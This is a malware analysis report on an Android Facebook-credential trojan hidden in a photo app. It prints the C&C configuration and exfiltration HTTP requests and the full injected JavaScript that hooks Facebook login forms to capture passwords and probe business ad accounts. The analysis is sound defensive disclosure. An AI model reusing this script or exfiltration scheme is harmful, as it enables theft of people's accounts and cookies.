SHA1 hash:
- 2b931978aaee9e2a9d35b1f8bf35a9b89b74d2fa
Description
A trojan application for Android-powered devices. It is the same trojan as Android.PWS.Facebook.13, Android.PWS.Facebook.14, and Android.PWS.Facebook.15, but written in Dart language, using the Flutter framework.
Its main functionality is stealing logins and passwords of Facebook accounts. The analyzed modification hid in the PIP Photo application that was available on Google Play. However, the trojan can also be spread under the guise of other software.
Operating routine
Upon launch, the Android.PWS.Facebook.17 receives configuration from the 108[.]160.132[.]15 C&C server:
POST /index2.php?r=user/init& HTTP/1.1
user-agent: Dart/2.10 (dart:io)
content-type: multipart/form-data; boundary=--dio-boundary-3920830045
accept-encoding: gzip
content-length: 129
host: 108.160.132.15
----dio-boundary-3920830045
content-disposition: form-data; name="appId"
com.piphoto.pipsapp
----dio-boundary-3920830045--
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: XXX, XX XXX 2021 XX:XX:XX GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
{
"retCode":0,
"u":"https:\/\/www.facebook.com\/login.php",
"ds":0,
"d":"function ...\r\n"
}
where
- d is a field containing JavaScript code that trojan uses to steal victims’ confidential data;
- u is a field containing an URL of the web page with authorization form to be loaded. During the analysis, the trojan received configuration to display genuine Facebook login page https://www.facebook.com/login. However, it can also load web pages of other legitimate services and phishing sites.
A JavaScript from the d field used to steal authorization data is shown below:
function Logs(msg) {
console.log(msg)
}
function exec() {
try {
var m = document.getElementById("email").value;
var p = document.getElementById("pass").value;
if (m.length <= 0 || p.length <= 0) {
return false
}
t.a(m, p)
} catch (e) {
try {
var m = document.getElementById("m_login_email").value;
var p = document.getElementById("m_login_password").value;
if (m.length <= 0 || p.length <= 0) {
return false
}
t.a(m, p)
} catch (e) {}
}
}
function login() {
try {
var loginFormObj = document.getElementById("loginform");
loginFormObj.getElementsByTagName("button")[0].addEventListener("touchend", function() {
exec()
});
loginFormObj.getElementsByTagName("button")[0].addEventListener("click", function() {
exec()
});
document.onkeydown = function(event) {
if (event.keyCode === 13) {
exec()
}
}
} catch (e) {
try {
var loginFormObj = document.getElementById("login_form");
loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("touchend", function() {
exec()
});
loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("click", function() {
exec()
});
document.onkeydown = function(event) {
if (event.keyCode === 13) {
exec()
}
}
} catch (e) {}
}
}
var testpclogin = /facebook\.com\/login\.php/i;
var testwaplogin = /m.facebook\.com\/$|m.facebook\.com\/login\.php/i;
if (testpclogin.test(window.location.href) || testwaplogin.test(window.location.href)) {
login()
} else {
setTimeout(function() {
Logs("=============111");
try {
Logs("=============22222");
var testurl = /facebook\.com\/bookmarks\/pages/i;
var testbmurl = /business\.facebook\.com/i;
if (testurl.test(window.location.href)) {
Logs("=============33333");
var obj = document.getElementById("bookmarksSeeAllEntSection");
if (obj == null) {
Logs("=============33333++++++");
obj = document.getElementsByTagName("iframe")[0].contentDocument.getElementById("bookmarksSeeAllEntSection")
}
if (obj != null) {
Logs("=============44444");
var len = obj.getElementsByTagName("li").length;
if (len > 0) {
Logs("=============55555");
t.c(1, 1)
}
}
setTimeout(function() {
Logs("=============66666666");
window.location = "{https://business.facebook.com/"}
}, 1000)
} else {
if (testbmurl.test(window.location.href)) {
setTimeout(function() {
Logs("=============7777777777777");
var testbmurl1 = /business\.facebook\.com\/home\/accounts\?business_id=[0-9]+/i;
var testbmurl2 = /business\.facebook\.com\/select\/\?next=/i;
if (testbmurl1.test(window.location.href)) {
try {
var adcount = document.querySelectorAll("div[adaccountid]").length;
if (adcount > 0) {
t.c(2, 3)
} else {
t.c(2, 1)
}
} catch (e) {
t.c(2, 1)
}
} else {
if (testbmurl2.test(window.location.href)) {
Logs("=============88888888888");
t.c(2, 1)
} else {
Logs("=============99999999999");
t.c(2, 2)
}
}
}, 3000)
}
}
} catch (e) {}
}, 8000)
};
Authorization data theft
Android.PWS.Facebook.17 creates a local database pip.db containing the app’s data that will include stolen login, password and cookies:
Upon user taps on any button in the menu of the trojan application, user is shown with the genuine login form of Facebook social network.
After the victim successfully authorized on Facebook, the Android.PWS.Facebook.17 saves the data to the database and sends a request to the C&C server as shown below:
POST /idx2.php?t=lShuXXXX/dl&yybs=com.piphoto.pipsapp&yzxx=ZXlK[...]ZlE9PQ%3D%3D&gj=en&sbbs=ssbs HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: 108.160.132.15
The yzxx paramenter contains user data that was double-encoded in base64. An example of sent data:
{
"ua":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
"password":"XXXXXXXX",
"page":"1",
"cookie":"sb=XXXXXXXXXXX; datr=XXXXXXXXXXX; dpr=X; wd=9999x8888; c_user=XXXXXXXXXXXX; xs=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; fr=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; spin=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"name":"XXXXXXXXXXXXX@XXXXXXXXX.com",
"bm":1
}